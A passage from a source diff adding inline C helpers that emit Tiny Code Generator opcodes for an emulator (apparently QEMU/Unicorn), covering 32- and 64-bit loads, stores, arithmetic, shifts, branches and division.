arg2, + TCGv_i32 arg3, TCGv_i32 arg4, + TCGv_i32 arg5, TCGArg arg6) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg3); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg4); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg5); + *s->gen_opparam_ptr++ = arg6; +} + +static inline void tcg_gen_op6i_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 arg1, TCGv_i64 arg2, + TCGv_i64 arg3, TCGv_i64 arg4, + TCGv_i64 arg5, TCGArg arg6) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg3); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg4); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg5); + *s->gen_opparam_ptr++ = arg6; +} + +static inline void tcg_gen_op6ii_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 arg1, + TCGv_i32 arg2, TCGv_i32 arg3, + TCGv_i32 arg4, TCGArg arg5, TCGArg arg6) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg3); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg4); + *s->gen_opparam_ptr++ = arg5; + *s->gen_opparam_ptr++ = arg6; +} + +static inline void tcg_gen_op6ii_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 arg1, + TCGv_i64 arg2, TCGv_i64 arg3, + TCGv_i64 arg4, TCGArg arg5, TCGArg arg6) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg3); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg4); + *s->gen_opparam_ptr++ = arg5; + *s->gen_opparam_ptr++ = arg6; +} + +static inline void tcg_add_param_i32(TCGContext *s, TCGv_i32 val) +{ + *s->gen_opparam_ptr++ = GET_TCGV_I32(val); +} + +static inline void tcg_add_param_i64(TCGContext *s, TCGv_i64 val) +{ +#if TCG_TARGET_REG_BITS == 32 + *s->gen_opparam_ptr++ = GET_TCGV_I32(TCGV_LOW(val)); + *s->gen_opparam_ptr++ = GET_TCGV_I32(TCGV_HIGH(val)); +#else + *s->gen_opparam_ptr++ = GET_TCGV_I64(val); +#endif +} + +static inline void gen_set_label(TCGContext *s, int n) +{ + tcg_gen_op1i(s, INDEX_op_set_label, n); +} + +static inline void tcg_gen_br(TCGContext *s, int label) +{ + tcg_gen_op1i(s, INDEX_op_br, label); +} + +static inline void tcg_gen_mov_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg) +{ + if (!TCGV_EQUAL_I32(ret, arg)) + tcg_gen_op2_i32(s, INDEX_op_mov_i32, ret, arg); +} + +static inline void tcg_gen_movi_i32(TCGContext *s, TCGv_i32 ret, int32_t arg) +{ + tcg_gen_op2i_i32(s, INDEX_op_movi_i32, ret, arg); +} + +/* 32 bit ops */ + +static inline void tcg_gen_ld8u_i32(TCGContext *s, TCGv_i32 ret, TCGv_ptr arg2, tcg_target_long offset) +{ + tcg_gen_ldst_op_i32(s, INDEX_op_ld8u_i32, ret, arg2, offset); +} + +static inline void tcg_gen_ld8s_i32(TCGContext *s, TCGv_i32 ret, TCGv_ptr arg2, tcg_target_long offset) +{ + tcg_gen_ldst_op_i32(s, INDEX_op_ld8s_i32, ret, arg2, offset); +} + +static inline void tcg_gen_ld16u_i32(TCGContext *s, TCGv_i32 ret, TCGv_ptr arg2, tcg_target_long offset) +{ + tcg_gen_ldst_op_i32(s, INDEX_op_ld16u_i32, ret, arg2, offset); +} + +static inline void tcg_gen_ld16s_i32(TCGContext *s, TCGv_i32 ret, TCGv_ptr arg2, tcg_target_long offset) +{ + tcg_gen_ldst_op_i32(s, INDEX_op_ld16s_i32, ret, arg2, offset); +} + +static inline void tcg_gen_ld_i32(TCGContext *s, TCGv_i32 ret, TCGv_ptr arg2, tcg_target_long offset) +{ + tcg_gen_ldst_op_i32(s, INDEX_op_ld_i32, ret, arg2, offset); +} + +static inline void tcg_gen_st8_i32(TCGContext *s, TCGv_i32 arg1, TCGv_ptr arg2, tcg_target_long offset) +{ + tcg_gen_ldst_op_i32(s, INDEX_op_st8_i32, arg1, arg2, offset); +} + +static inline void tcg_gen_st16_i32(TCGContext *s, TCGv_i32 arg1, TCGv_ptr arg2, tcg_target_long offset) +{ + tcg_gen_ldst_op_i32(s, INDEX_op_st16_i32, arg1, arg2, offset); +} + +static inline void tcg_gen_st_i32(TCGContext *s, TCGv_i32 arg1, TCGv_ptr arg2, tcg_target_long offset) +{ + tcg_gen_ldst_op_i32(s, INDEX_op_st_i32, arg1, arg2, offset); +} + +static inline void tcg_gen_add_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + tcg_gen_op3_i32(s, INDEX_op_add_i32, ret, arg1, arg2); +} + +static inline void tcg_gen_addi_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, int32_t arg2) +{ + /* some cases can be optimized here */ + if (arg2 == 0) { + tcg_gen_mov_i32(s, ret, arg1); + } else { + TCGv_i32 t0 = tcg_const_i32(s, arg2); + tcg_gen_add_i32(s, ret, arg1, t0); + tcg_temp_free_i32(s, t0); + } +} + +static inline void tcg_gen_sub_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + tcg_gen_op3_i32(s, INDEX_op_sub_i32, ret, arg1, arg2); +} + +static inline void tcg_gen_subfi_i32(TCGContext *s, TCGv_i32 ret, int32_t arg1, TCGv_i32 arg2) +{ + TCGv_i32 t0 = tcg_const_i32(s, arg1); + tcg_gen_sub_i32(s, ret, t0, arg2); + tcg_temp_free_i32(s, t0); +} + +static inline void tcg_gen_subi_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, int32_t arg2) +{ + /* some cases can be optimized here */ + if (arg2 == 0) { + tcg_gen_mov_i32(s, ret, arg1); + } else { + TCGv_i32 t0 = tcg_const_i32(s, arg2); + tcg_gen_sub_i32(s, ret, arg1, t0); + tcg_temp_free_i32(s, t0); + } +} + +static inline void tcg_gen_and_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCGV_EQUAL_I32(arg1, arg2)) { + tcg_gen_mov_i32(s, ret, arg1); + } else { + tcg_gen_op3_i32(s, INDEX_op_and_i32, ret, arg1, arg2); + } +} + +static inline void tcg_gen_andi_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, uint32_t arg2) +{ + TCGv_i32 t0; + /* Some cases can be optimized here. */ + switch (arg2) { + case 0: + tcg_gen_movi_i32(s, ret, 0); + return; + case 0xffffffffu: + tcg_gen_mov_i32(s, ret, arg1); + return; + case 0xffu: + /* Don't recurse with tcg_gen_ext8u_i32. */ + if (TCG_TARGET_HAS_ext8u_i32) { + tcg_gen_op2_i32(s, INDEX_op_ext8u_i32, ret, arg1); + return; + } + break; + case 0xffffu: + if (TCG_TARGET_HAS_ext16u_i32) { + tcg_gen_op2_i32(s, INDEX_op_ext16u_i32, ret, arg1); + return; + } + break; + } + t0 = tcg_const_i32(s, arg2); + tcg_gen_and_i32(s, ret, arg1, t0); + tcg_temp_free_i32(s, t0); +} + +static inline void tcg_gen_or_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCGV_EQUAL_I32(arg1, arg2)) { + tcg_gen_mov_i32(s, ret, arg1); + } else { + tcg_gen_op3_i32(s, INDEX_op_or_i32, ret, arg1, arg2); + } +} + +static inline void tcg_gen_ori_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, int32_t arg2) +{ + /* Some cases can be optimized here. */ + if (arg2 == -1) { + tcg_gen_movi_i32(s, ret, -1); + } else if (arg2 == 0) { + tcg_gen_mov_i32(s, ret, arg1); + } else { + TCGv_i32 t0 = tcg_const_i32(s, arg2); + tcg_gen_or_i32(s, ret, arg1, t0); + tcg_temp_free_i32(s, t0); + } +} + +static inline void tcg_gen_xor_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCGV_EQUAL_I32(arg1, arg2)) { + tcg_gen_movi_i32(s, ret, 0); + } else { + tcg_gen_op3_i32(s, INDEX_op_xor_i32, ret, arg1, arg2); + } +} + +static inline void tcg_gen_xori_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, int32_t arg2) +{ + /* Some cases can be optimized here. */ + if (arg2 == 0) { + tcg_gen_mov_i32(s, ret, arg1); + } else if (arg2 == -1 && TCG_TARGET_HAS_not_i32) { + /* Don't recurse with tcg_gen_not_i32. */ + tcg_gen_op2_i32(s, INDEX_op_not_i32, ret, arg1); + } else { + TCGv_i32 t0 = tcg_const_i32(s, arg2); + tcg_gen_xor_i32(s, ret, arg1, t0); + tcg_temp_free_i32(s, t0); + } +} + +static inline void tcg_gen_shl_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + tcg_gen_op3_i32(s, INDEX_op_shl_i32, ret, arg1, arg2); +} + +static inline void tcg_gen_shli_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, int32_t arg2) +{ + if (arg2 == 0) { + tcg_gen_mov_i32(s, ret, arg1); + } else { + TCGv_i32 t0 = tcg_const_i32(s, arg2); + tcg_gen_shl_i32(s, ret, arg1, t0); + tcg_temp_free_i32(s, t0); + } +} + +static inline void tcg_gen_shr_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + tcg_gen_op3_i32(s, INDEX_op_shr_i32, ret, arg1, arg2); +} + +static inline void tcg_gen_shri_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, int32_t arg2) +{ + if (arg2 == 0) { + tcg_gen_mov_i32(s, ret, arg1); + } else { + TCGv_i32 t0 = tcg_const_i32(s, arg2); + tcg_gen_shr_i32(s, ret, arg1, t0); + tcg_temp_free_i32(s, t0); + } +} + +static inline void tcg_gen_sar_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + tcg_gen_op3_i32(s, INDEX_op_sar_i32, ret, arg1, arg2); +} + +static inline void tcg_gen_sari_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, int32_t arg2) +{ + if (arg2 == 0) { + tcg_gen_mov_i32(s, ret, arg1); + } else { + TCGv_i32 t0 = tcg_const_i32(s, arg2); + tcg_gen_sar_i32(s, ret, arg1, t0); + tcg_temp_free_i32(s, t0); + } +} + +static inline void tcg_gen_brcond_i32(TCGContext *s, TCGCond cond, TCGv_i32 arg1, + TCGv_i32 arg2, int label_index) +{ + if (cond == TCG_COND_ALWAYS) { + tcg_gen_br(s, label_index); + } else if (cond != TCG_COND_NEVER) { + tcg_gen_op4ii_i32(s, INDEX_op_brcond_i32, arg1, arg2, cond, label_index); + } +} + +static inline void tcg_gen_brcondi_i32(TCGContext *s, TCGCond cond, TCGv_i32 arg1, + int32_t arg2, int label_index) +{ + if (cond == TCG_COND_ALWAYS) { + tcg_gen_br(s, label_index); + } else if (cond != TCG_COND_NEVER) { + TCGv_i32 t0 = tcg_const_i32(s, arg2); + tcg_gen_brcond_i32(s, cond, arg1, t0, label_index); + tcg_temp_free_i32(s, t0); + } +} + +static inline void tcg_gen_setcond_i32(TCGContext *s, TCGCond cond, TCGv_i32 ret, + TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (cond == TCG_COND_ALWAYS) { + tcg_gen_movi_i32(s, ret, 1); + } else if (cond == TCG_COND_NEVER) { + tcg_gen_movi_i32(s, ret, 0); + } else { + tcg_gen_op4i_i32(s, INDEX_op_setcond_i32, ret, arg1, arg2, cond); + } +} + +static inline void tcg_gen_setcondi_i32(TCGContext *s, TCGCond cond, TCGv_i32 ret, + TCGv_i32 arg1, int32_t arg2) +{ + if (cond == TCG_COND_ALWAYS) { + tcg_gen_movi_i32(s, ret, 1); + } else if (cond == TCG_COND_NEVER) { + tcg_gen_movi_i32(s, ret, 0); + } else { + TCGv_i32 t0 = tcg_const_i32(s, arg2); + tcg_gen_setcond_i32(s, cond, ret, arg1, t0); + tcg_temp_free_i32(s, t0); + } +} + +static inline void tcg_gen_mul_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + tcg_gen_op3_i32(s, INDEX_op_mul_i32, ret, arg1, arg2); +} + +static inline void tcg_gen_muli_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, int32_t arg2) +{ + TCGv_i32 t0 = tcg_const_i32(s, arg2); + tcg_gen_mul_i32(s, ret, arg1, t0); + tcg_temp_free_i32(s, t0); +} + +static inline void tcg_gen_div_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCG_TARGET_HAS_div_i32) { + tcg_gen_op3_i32(s, INDEX_op_div_i32, ret, arg1, arg2); + } else if (TCG_TARGET_HAS_div2_i32) { + TCGv_i32 t0 = tcg_temp_new_i32(s); + tcg_gen_sari_i32(s, t0, arg1, 31); + tcg_gen_op5_i32(s, INDEX_op_div2_i32, ret, t0, arg1, t0, arg2); + tcg_temp_free_i32(s, t0); + } else { + gen_helper_div_i32(s, ret, arg1, arg2); + } +} + +static inline void tcg_gen_rem_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCG_TARGET_HAS_rem_i32) { + tcg_gen_op3_i32(s, INDEX_op_rem_i32, ret, arg1, arg2); + } else if (TCG_TARGET_HAS_div_i32) { + TCGv_i32 t0 = tcg_temp_new_i32(s); + tcg_gen_op3_i32(s, INDEX_op_div_i32, t0, arg1, arg2); + tcg_gen_mul_i32(s, t0, t0, arg2); + tcg_gen_sub_i32(s, ret, arg1, t0); + tcg_temp_free_i32(s, t0); + } else if (TCG_TARGET_HAS_div2_i32) { + TCGv_i32 t0 = tcg_temp_new_i32(s); + tcg_gen_sari_i32(s, t0, arg1, 31); + tcg_gen_op5_i32(s, INDEX_op_div2_i32, t0, ret, arg1, t0, arg2); + tcg_temp_free_i32(s, t0); + } else { + gen_helper_rem_i32(s, ret, arg1, arg2); + } +} + +static inline void tcg_gen_divu_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCG_TARGET_HAS_div_i32) { + tcg_gen_op3_i32(s, INDEX_op_divu_i32, ret, arg1, arg2); + } else if (TCG_TARGET_HAS_div2_i32) { + TCGv_i32 t0 = tcg_temp_new_i32(s); + tcg_gen_movi_i32(s, t0, 0); + tcg_gen_op5_i32(s, INDEX_op_divu2_i32, ret, t0, arg1, t0, arg2); + tcg_temp_free_i32(s, t0); + } else { + gen_helper_divu_i32(s, ret, arg1, arg2); + } +} + +static inline void tcg_gen_remu_i32(TCGContext *s, TCGv_i32 ret, TCGv_i32 arg1, TCGv_i32 arg2) +{ + if (TCG_TARGET_HAS_rem_i32) { + tcg_gen_op3_i32(s, INDEX_op_remu_i32, ret, arg1, arg2); + } else if (TCG_TARGET_HAS_div_i32) { + TCGv_i32 t0 = tcg_temp_new_i32(s); + tcg_gen_op3_i32(s, INDEX_op_divu_i32, t0, arg1, arg2); + tcg_gen_mul_i32(s, t0, t0, arg2); + tcg_gen_sub_i32(s, ret, arg1, t0); + tcg_temp_free_i32(s, t0); + } else if (TCG_TARGET_HAS_div2_i32) { + TCGv_i32 t0 = tcg_temp_new_i32(s); + tcg_gen_movi_i32(s, t0, 0); + tcg_gen_op5_i32(s, INDEX_op_divu2_i32, t0, ret, arg1, t0, arg2); + tcg_temp_free_i32(s, t0); + } else { + gen_helper_remu_i32(s, ret, arg1, arg2); + } +} + +#if TCG_TARGET_REG_BITS == 32 + +static inline void tcg_gen_mov_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + if (!TCGV_EQUAL_I64(ret, arg)) { + tcg_gen_mov_i32(s, TCGV_LOW(ret), TCGV_LOW(arg)); + tcg_gen_mov_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg)); + } +} + +static inline void tcg_gen_movi_i64(TCGContext *s, TCGv_i64 ret, int64_t arg) +{ + tcg_gen_movi_i32(s, TCGV_LOW(ret), (int32_t)arg); + tcg_gen_movi_i32(s, TCGV_HIGH(ret), arg >> 32); +} + +static inline void tcg_gen_ld8u_i64(TCGContext *s, TCGv_i64 ret, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_ld8u_i32(s, TCGV_LOW(ret), arg2, offset); + tcg_gen_movi_i32(s, TCGV_HIGH(ret), 0); +} + +static inline void tcg_gen_ld8s_i64(TCGContext *s, TCGv_i64 ret, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_ld8s_i32(s, TCGV_LOW(ret), arg2, offset); + tcg_gen_sari_i32(s, TCGV_HIGH(ret), TCGV_HIGH(ret), 31); +} + +static inline void tcg_gen_ld16u_i64(TCGContext *s, TCGv_i64 ret, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_ld16u_i32(s, TCGV_LOW(ret), arg2, offset); + tcg_gen_movi_i32(s, TCGV_HIGH(ret), 0); +} + +static inline void tcg_gen_ld16s_i64(TCGContext *s, TCGv_i64 ret, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_ld16s_i32(s, TCGV_LOW(ret), arg2, offset); + tcg_gen_sari_i32(s, TCGV_HIGH(ret), TCGV_LOW(ret), 31); +} + +static inline void tcg_gen_ld32u_i64(TCGContext *s, TCGv_i64 ret, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_ld_i32(s, TCGV_LOW(ret), arg2, offset); + tcg_gen_movi_i32(s, TCGV_HIGH(ret), 0); +} + +static inline void tcg_gen_ld32s_i64(TCGContext *s, TCGv_i64 ret, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_ld_i32(s, TCGV_LOW(ret), arg2, offset); + tcg_gen_sari_i32(s, TCGV_HIGH(ret), TCGV_LOW(ret), 31); +} + +static inline void tcg_gen_ld_i64(TCGContext *s, TCGv_i64 ret, TCGv_ptr arg2, + tcg_target_long offset) +{ + /* since arg2 and ret have different types, they cannot be the + same temporary */ +#ifdef HOST_WORDS_BIGENDIAN + tcg_gen_ld_i32(s, TCGV_HIGH(ret), arg2, offset); + tcg_gen_ld_i32(s, TCGV_LOW(ret), arg2, offset + 4); +#else + tcg_gen_ld_i32(s, TCGV_LOW(ret), arg2, offset); + tcg_gen_ld_i32(s, TCGV_HIGH(ret), arg2, offset + 4); +#endif +} + +static inline void tcg_gen_st8_i64(TCGContext *s, TCGv_i64 arg1, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_st8_i32(s, TCGV_LOW(arg1), arg2, offset); +} + +static inline void tcg_gen_st16_i64(TCGContext *s, TCGv_i64 arg1, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_st16_i32(s, TCGV_LOW(arg1), arg2, offset); +} + +static inline void tcg_gen_st32_i64(TCGContext *s, TCGv_i64 arg1, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_st_i32(s, TCGV_LOW(arg1), arg2, offset); +} + +static inline void tcg_gen_st_i64(TCGContext *s, TCGv_i64 arg1, TCGv_ptr arg2, + tcg_target_long offset) +{ +#ifdef HOST_WORDS_BIGENDIAN + tcg_gen_st_i32(s, TCGV_HIGH(arg1), arg2, offset); + tcg_gen_st_i32(s, TCGV_LOW(arg1), arg2, offset + 4); +#else + tcg_gen_st_i32(s, TCGV_LOW(arg1), arg2, offset); + tcg_gen_st_i32(s, TCGV_HIGH(arg1), arg2, offset + 4); +#endif +} + +static inline void tcg_gen_add_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + tcg_gen_op6_i32(s, INDEX_op_add2_i32, TCGV_LOW(ret), TCGV_HIGH(ret), + TCGV_LOW(arg1), TCGV_HIGH(arg1), TCGV_LOW(arg2), + TCGV_HIGH(arg2)); + /* Allow the optimizer room to replace add2 with two moves. */ + tcg_gen_op0(s, INDEX_op_nop); +} + +static inline void tcg_gen_sub_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + tcg_gen_op6_i32(s, INDEX_op_sub2_i32, TCGV_LOW(ret), TCGV_HIGH(ret), + TCGV_LOW(arg1), TCGV_HIGH(arg1), TCGV_LOW(arg2), + TCGV_HIGH(arg2)); + /* Allow the optimizer room to replace sub2 with two moves. */ + tcg_gen_op0(s, INDEX_op_nop); +} + +static inline void tcg_gen_and_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + tcg_gen_and_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1), TCGV_LOW(arg2)); + tcg_gen_and_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1), TCGV_HIGH(arg2)); +} + +static inline void tcg_gen_andi_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + tcg_gen_andi_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1), (uint32_t)arg2); + tcg_gen_andi_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1), arg2 >> 32); +} + +static inline void tcg_gen_or_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + tcg_gen_or_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1), TCGV_LOW(arg2)); + tcg_gen_or_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1), TCGV_HIGH(arg2)); +} + +static inline void tcg_gen_ori_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + tcg_gen_ori_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1), (uint32_t)arg2); + tcg_gen_ori_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1), arg2 >> 32); +} + +static inline void tcg_gen_xor_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + tcg_gen_xor_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1), TCGV_LOW(arg2)); + tcg_gen_xor_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1), TCGV_HIGH(arg2)); +} + +static inline void tcg_gen_xori_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + tcg_gen_xori_i32(s, TCGV_LOW(ret), TCGV_LOW(arg1), (int32_t)arg2); + tcg_gen_xori_i32(s, TCGV_HIGH(ret), TCGV_HIGH(arg1), arg2 >> 32); +} + +/* XXX: use generic code when basic block handling is OK or CPU + specific code (x86) */ +static inline void tcg_gen_shl_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + gen_helper_shl_i64(s, ret, arg1, arg2); +} + +static inline void tcg_gen_shli_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + tcg_gen_shifti_i64(s, ret, arg1, (int)arg2, 0, 0); +} + +static inline void tcg_gen_shr_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + gen_helper_shr_i64(s, ret, arg1, arg2); +} + +static inline void tcg_gen_shri_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + tcg_gen_shifti_i64(s, ret, arg1, (int)arg2, 1, 0); +} + +static inline void tcg_gen_sar_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + gen_helper_sar_i64(s, ret, arg1, arg2); +} + +static inline void tcg_gen_sari_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, int64_t arg2) +{ + tcg_gen_shifti_i64(s, ret, arg1, (int)arg2, 1, 1); +} + +static inline void tcg_gen_brcond_i64(TCGContext *s, TCGCond cond, TCGv_i64 arg1, + TCGv_i64 arg2, int label_index) +{ + if (cond == TCG_COND_ALWAYS) { + tcg_gen_br(s, label_index); + } else if (cond != TCG_COND_NEVER) { + tcg_gen_op6ii_i32(s, INDEX_op_brcond2_i32, + TCGV_LOW(arg1), TCGV_HIGH(arg1), TCGV_LOW(arg2), + TCGV_HIGH(arg2), cond, label_index); + } +} + +static inline void tcg_gen_setcond_i64(TCGContext *s, TCGCond cond, TCGv_i64 ret, + TCGv_i64 arg1, TCGv_i64 arg2) +{ + if (cond == TCG_COND_ALWAYS) { + tcg_gen_movi_i32(s, TCGV_LOW(ret), 1); + } else if (cond == TCG_COND_NEVER) { + tcg_gen_movi_i32(s, TCGV_LOW(ret), 0); + } else { + tcg_gen_op6i_i32(s, INDEX_op_setcond2_i32, TCGV_LOW(ret), + TCGV_LOW(arg1), TCGV_HIGH(arg1), + TCGV_LOW(arg2), TCGV_HIGH(arg2), cond); + } + tcg_gen_movi_i32(s, TCGV_HIGH(ret), 0); +} + +static inline void tcg_gen_mul_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + TCGv_i64 t0; + TCGv_i32 t1; + + t0 = tcg_temp_new_i64(s); + t1 = tcg_temp_new_i32(s); + + if (TCG_TARGET_HAS_mulu2_i32) { + tcg_gen_op4_i32(s, INDEX_op_mulu2_i32, TCGV_LOW(t0), TCGV_HIGH(t0), + TCGV_LOW(arg1), TCGV_LOW(arg2)); + /* Allow the optimizer room to replace mulu2 with two moves. */ + tcg_gen_op0(s, INDEX_op_nop); + } else { + tcg_debug_assert(TCG_TARGET_HAS_muluh_i32); + tcg_gen_op3_i32(s, INDEX_op_mul_i32, TCGV_LOW(t0), + TCGV_LOW(arg1), TCGV_LOW(arg2)); + tcg_gen_op3_i32(s, INDEX_op_muluh_i32, TCGV_HIGH(t0), + TCGV_LOW(arg1), TCGV_LOW(arg2)); + } + + tcg_gen_mul_i32(s, t1, TCGV_LOW(arg1), TCGV_HIGH(arg2)); + tcg_gen_add_i32(s, TCGV_HIGH(t0), TCGV_HIGH(t0), t1); + tcg_gen_mul_i32(s, t1, TCGV_HIGH(arg1), TCGV_LOW(arg2)); + tcg_gen_add_i32(s, TCGV_HIGH(t0), TCGV_HIGH(t0), t1); + + tcg_gen_mov_i64(s, ret, t0); + tcg_temp_free_i64(s, t0); + tcg_temp_free_i32(s, t1); +} + +static inline void tcg_gen_div_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + gen_helper_div_i64(s, ret, arg1, arg2); +} + +static inline void tcg_gen_rem_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + gen_helper_rem_i64(s, ret, arg1, arg2); +} + +static inline void tcg_gen_divu_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + gen_helper_divu_i64(s, ret, arg1, arg2); +} + +static inline void tcg_gen_remu_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg1, TCGv_i64 arg2) +{ + gen_helper_remu_i64(s, ret, arg1, arg2); +} + +#else + +static inline void tcg_gen_mov_i64(TCGContext *s, TCGv_i64 ret, TCGv_i64 arg) +{ + if (!TCGV_EQUAL_I64(ret, arg)) + tcg_gen_op2_i64(s, INDEX_op_mov_i64, ret, arg); +} + +static inline void tcg_gen_movi_i64(TCGContext *s, TCGv_i64 ret, int64_t arg) +{ + tcg_gen_op2i_i64(s, INDEX_op_movi_i64, ret, arg); +} + +static inline void tcg_gen_ld8u_i64(TCGContext *s, TCGv_i64 ret, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_ldst_op_i64(s, INDEX_op_ld8u_i64, ret, arg2, offset); +} + +static inline void tcg_gen_ld8s_i64(TCGContext *s, TCGv_i64 ret, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_ldst_op_i64(s, INDEX_op_ld8s_i64, ret, arg2, offset); +} + +static inline void tcg_gen_ld16u_i64(TCGContext *s, TCGv_i64 ret, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_ldst_op_i64(s, INDEX_op_ld16u_i64, ret, arg2, offset); +} + +static inline void tcg_gen_ld16s_i64(TCGContext *s, TCGv_i64 ret, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_ldst_op_i64(s, INDEX_op_ld16s_i64, ret, arg2, offset); +} + +static inline void tcg_gen_ld32u_i64(TCGContext *s, TCGv_i64 ret, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_ldst_op_i64(s, INDEX_op_ld32u_i64, ret, arg2, offset); +} + +static inline void tcg_gen_ld32s_i64(TCGContext *s, TCGv_i64 ret, TCGv_ptr arg2, + tcg_target_long offset) +{ + tcg_gen_ldst_op_i64(s, INDEX_op_ld32s_i64, ret, arg2, offset); +} + +static inline void tcg_gen_ld_i64(TCGContext *s, TCGv_i64 ret, TCGv_ptr arg2, tcg_target_long offset) +{ + tcg_gen_ldst_op_i64(s, INDEX_op_ld_i64, ret, arg2, offset); +} + +static inline void tcg_gen_st8_i64(TCGContext *s, TCGv_i64 arg1, TCGv_ptr arg2, + tcg_target_long offset) +{ + 